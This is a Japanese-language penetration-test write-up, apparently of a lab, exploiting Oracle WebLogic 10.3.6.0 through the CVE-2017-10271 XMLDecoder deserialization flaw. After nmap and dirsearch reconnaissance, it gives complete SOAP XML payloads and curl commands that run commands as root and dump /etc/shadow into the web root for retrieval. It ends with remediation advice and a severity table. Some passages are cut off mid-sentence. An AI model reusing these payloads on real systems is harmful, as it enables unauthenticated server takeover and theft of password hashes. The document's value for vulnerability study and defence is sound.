

Development Mode で稼働中の base_domain に属する AdminServer)。7001。http、t3、iiop、ldap、snmp。7001 ポートで t3 プロトコルを公開しています。このデフォルト構成は、WebLogic のバージョンが RMI(Remote Method Invocation)を介した Java オブジェクト逆シリアル化に関連する脆弱性に対してパッチ適用されていない場合、高いリスクを伴います。7001 ポートの http プロトコル上で動作しており、/console/login/LoginForm.jsp などの機密エンドポイントを狙ったディレクトリスキャンの影響を受けやすくなっています。ターゲットの開放ポートが特定されたら、nmap を使用してポートをスキャンし、稼働中のサービスを特定します。

したがって、ターゲットは Oracle WebLogic Server 10.3.6.0 というバージョンの HTTP サービスを稼働させています。これは、一連の重大な CVE(逆シリアル化、認証バイパスなど)で有名なエンタープライズ向け Java アプリケーションサーバーです。しかし、この情報だけでは、システムがどの特定の脆弱性に対して脆弱であるかを結論付けるには不十分です。付随する Web サービスコンポーネントをより深くスキャンする必要があります。
ここで、dirsearch ツールを使用して機密エンドポイントの特定を進めます。WebLogic は Java プラットフォーム上で動作するため、.jsp および .xml ファイルが最も機密性の高いターゲットとなります。HTTP 200 ステータスコードを返すエンドポイントに焦点を当てます。
dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

/console/login/LoginForm.jsp: WebLogic Admin Console の Web インターフェースへのログインポータルです。デフォルト認証情報のブルートフォース攻撃や認証バイパス脆弱性(CVE-2020-14882 など)の重要なターゲットとなります。/bea_wls_internal/: WebLogic Server のデフォルトの内部 Web アプリケーションディレクトリです。このコンポーネントは、静的システムファイルへのアクセスおよび操作を可能にします。/wls-wsat/CoordinatorPortType: これが最も重要な発見です。このパスが 200 OK ステータスコードを返すことは、Web Services Atomic Transactions(wls-wsat) コンポーネントが有効化され、データを受信できる状態にあることを確認します。/uddiexplorer および /uddi/uddilistener: これは WebLogic Server にデフォルトで統合されている、Web サービスの管理および登録を行うための UDDI Explorer(Universal Description, Discovery, and Integration)コンポーネントです。このコンポーネントは SSRF(Server-Side Request Forgery)- CVE-2014-4210 脆弱性で非常に有名です。攻撃者は /uddiexplorer/SearchPublicRegistries.jsp エンドポイントにある UDDI のパブリックレジストリ検索インターフェースを利用して、WebLogic サーバーに任意の HTTP リクエストをバックエンドの内部ネットワークへ送信させることができます。⇒ 考察: /wls-wsat(XMLDecoder を介した RCE リスク)と /uddiexplorer(SSRF リスク)の共存は、この WebLogic サーバーの攻撃対象領域が極めて広いことを示しています。
WebLogic 10.3.6.0 サーバー上に 2 つの独立した攻撃対象領域が共存していることを特定した後、次の 2 つの方向性を分析します。
/uddiexplorer における SSRF 脆弱性(CVE-2014-4210):
/wls-wsat における XMLDecoder 逆シリアル化脆弱性(CVE-2017-10271):
⇒ 決定: Cyber Attack Chain モデルにおいて、RCE は常に最終目標です。なぜなら、システムの直接的かつ完全な制御(Full System Compromise)を提供するからです。RCE の実行能力を獲得した時点で、UDDI アプリケーションを介した SSRF の悪用は冗長になります。これは、RCE シェルからは、UDDI インターフェースのパラメータに制限されることなく、システムコマンド(curl、wget など)を使用して、直接的、柔軟的、かつより強力に内部ネットワークの調査を積極的に実行できるためです。
したがって、エクスプロイトの優先順位の論理において、二次的な経路(/uddiexplorer での SSRF)を除外し、/wls-wsat/CoordinatorPortType における XMLDecoder 逆シリアル化脆弱性を介したリモートコード実行(RCE)の調査に完全に集中することを決定します。
CVE-2017-10271 の根本的な脆弱性は、WebLogic の WorkContextXmlInputAdapter クラスが java.beans.XMLDecoder オブジェクトを使用して <work:WorkContext> タグ内のデータを解析することに起因します。デフォルトでは、この XMLDecoder クラスは XML タグ形式で定義された任意の Java クラスを自動的にインスタンス化します。ここから、段階的なシステムの動作的相互作用に基づく検証を実行します。
このサーブレットの実際の稼働状態を迅速に確認するため、通常の HTTP GET プローブリクエストを送信します:
curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType
レスポンスは HTTP/1.1 200 OK と実装クラス CoordinatorPortTypePortImpl を返し、サーブレットが JVM メモリに正常にロードされたことを確認します。
Web Services サーブレットは POST メソッドで SOAP XML データを処理するように設計されているため、システムのデータ処理パイプラインを実証するために、2 つの POST リクエストによる比較テストを実行します。
1. 標準的な SOAP POST リクエスト
パーサーの通常の解析能力をテストするために、標準的な SOAP XML エンベロープ(完全な名前空間を含むが実行コンテンツは含まない)を送信します。
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

Cannot find dispatch method)を示します。分析:
サーバーは POST ポートに十分に機能する XML リーダーを備えており、ユーザーが送信した XML ツリー構造全体を受信してデコードする準備ができています。これは、クライアントから WebLogic メモリ内部に至るデータパイプラインが完全に動作していることを確認します。
2. 不正な XML 構造の POST リクエスト
次に、XML 構造を意図的に破壊して(例: 名前空間の欠落)、パーサーの例外処理メカニズムを観察します。
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv" が返されます。分析:
com.ctc.wstx)に直接渡されて解析されます。実際の実験結果とシステムアーキテクチャ分析の組み合わせ — wls-wsat サーブレットが POST ポートを介して生のパケットを受信し、パーサー層に WAF/サニティフィルタが存在せず、生の Java XML リーダーエラーを直接スローすること — は、サーバーが CVE-2017-10271(XMLDecoder 逆シリアル化)の影響範囲に直接該当する、極めて脆弱なサービス構造を動作させていることを確認します。
XMLDecoder のデフォルトの解析メカニズムにはクラス制御フィルタが一切ないため、サーバーがサニタイズなしで生の POST データを受信することは、次のステップで Java システム実行オブジェクトを直接呼び出すペイロードを設計するための完璧な入口となります。
WebLogic 10.3.6.0 サーバーは古い Java 環境上で動作し、XMLDecoder に対して厳格なクラス制御フィルタを適用していないため、攻撃者は実行可能な Java オブジェクトを直接注入できます。
Java でコマンドを実行するための標準クラスは java.lang.ProcessBuilder です。この Java オブジェクトの初期化ロジックを XMLDecoder 互換の XML 形式にマッピングします:
<void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void method="start"/>ProcessBuilder を介してシステムコマンドが実行されると、WebLogic サーバーは OS 上でコマンドをバックグラウンド実行し、HTTP 500 エラーコードのみを返します(コマンドの出力を HTTP レスポンス画面に直接出力することはありません)。この仕組みは Web Application Mapping と呼ばれ、すべての Web サーバーはこのように動作します。war/ ディレクトリはそのアプリケーションの**ドキュメントルート(Document Root)**です。war/ 内に配置された任意のファイルは、短い URL でアクセスできます。
⇒ ブラインド RCE を回避するには、物理パスを見つける必要があります。id > ... コマンドはオペレーティングシステム上で実行されるため、実際のパスが必要です。
/war ディレクトリを特定するためのホワイトボックス分析
コンテナ内でロードされている bea_wls_internal アプリケーションの実際の物理パスを特定するため、ホストマシンから直接システム検索クエリを実行します:

結果
/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war(元のアーカイブライブラリファイル)。/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal(AdminServer の一時パーティション _WL_internal 内に展開されたアクティブなアプリケーションディレクトリ)。このアクティブディレクトリの奥に進むと、静的ファイルを含むサブディレクトリ /9j4dqk/war/ が見つかります。これはアプリケーションの絶対 Web ルートディレクトリであり、攻撃者は RCE 実行結果を表示するための静的ファイルを書き込む権限を持っています。考察: id の出力を上記ディレクトリ内の静的ファイル rce.txt にリダイレクトするコマンドを設計します: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt
上記の分析から、Java の XMLDecoder クラスが XML タグ形式で定義された任意のオブジェクトを自動的にインスタンス化して実行することがわかります。Java でオペレーティングシステムコマンドを呼び出すための標準クラスは java.lang.ProcessBuilder です。
同等の Java コードから XMLDecoder の XML 構造へのマッピングプロセス:
同等の Java コード:
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();
XMLDecoder の XML タグへのマッピング:
完全な SOAP 構造を含む exploit.xml ファイルを Kali Linux マシン上に作成します:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Kali Linux マシンから、エクスプロイトペイロードを含む XML ファイルをターゲットのエンドポイントに送信します:
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d @exploit.xml

Web ルートディレクトリに作成されたばかりの静的ファイル rce.txt にアクセスします:
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

RCE エクスプロイトの成功。 id コマンドの結果は、WebLogic プロセスが root 権限で実行されていることを確認します。
id コマンドの実行結果は uid=0(root) を返します。これは、WebLogic Server プロセスがオペレーティングシステムの最高権限である root 権限で直接実行されていることを証明します。攻撃者は追加の権限昇格(Privilege Escalation)ステップを必要とせずに、システムを完全に制御できます。
攻撃者は /etc/shadow などの機密システムファイルを簡単に読み取ることができます。exploit_shadow.xml ファイルを作成し、WebLogic サーバーが自動的に実行するように XML ペイロードを介して送信します。これにより、サーバーにファイルの読み取りを実行させ、外部 URL からアクセスできるように Document root ディレクトリに出力をリダイレクトします。
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
EOF
次に、ペイロードを送信し、外部からファイルを読み取ります:
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml
curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

システムアカウントの全一覧とパスワードハッシュが完全に漏洩します。
コンテナが分離された内部ネットワーク環境(Docker ホストの NAT/ブリッジ)で実行されているため、LAN 外部の Kali マシンへの直接のリバース接続(リバースシェル)の確立は、ルーティング上の障害に遭遇する可能性があります。実際の環境(本番環境)では、サーバーに外部へのインターネット接続があれば、攻撃者はリバースシェルを完全にセットアップできます。
しかし、root 権限で直接リモートコード実行(RCE)を行う能力と、Web ルートを介して対話的にファイルを読み書きする能力は、システム全体の侵害を確認するのに十分です。
この WebLogic システムにおける XMLDecoder 逆シリアル化脆弱性(CVE-2017-10271)は、最も重大なリスクレベル(Critical) と評価されます:
この重大なセキュリティ脆弱性を完全に修正するため、管理者は以下の対策を直ちに実施する必要があります:
緊急優先度(短期的対策):
wls-wsat.war フォルダを削除し、サービスを再起動して、この攻撃対象領域を完全に排除します。oracle)で実行するように再構成し、root 権限でプロセスを実行することは絶対に避けます。長期優先度(多層防御):
<java>、<object>、<void>、<class>、<method> などの XMLDecoder に特徴的な XML タグを含む /wls-wsat/ エンドポイントへの POST リクエストを検出してブロックします。| Java コンポーネント | 対応する XML タグ |
|---|
ProcessBuilder クラスの宣言 | <void class="java.lang.ProcessBuilder"> |
パラメータ配列 String[] | <array class="java.lang.String" length="3"> |
| 配列要素(インデックス 0、1、2) | <void index="0"><string>...</string></void> |
.start() メソッドの呼び出し | <void method="start"/> |
| 評価基準 | 評価 | 詳細 |
|---|
| CVSS スコア | 9.8(Critical) | 極めて高い影響度スコア。 |
| 認証 | 不要 | 悪用にはアカウントやいかなる認証も不要。 |
| 攻撃複雑度 | 非常に低い | 悪意のある SOAP XML ペイロードを含む単一の HTTP POST リクエストを送信するだけでよい。 |
| 獲得権限 | root | システムの最高権限でコンテナを完全に制御可能。 |
| 水平移動(Lateral Movement) | 高い | 侵害されたコンテナをピボットポイントとして、他の内部ネットワークコンテナや物理ホストサーバーを攻撃できる。 |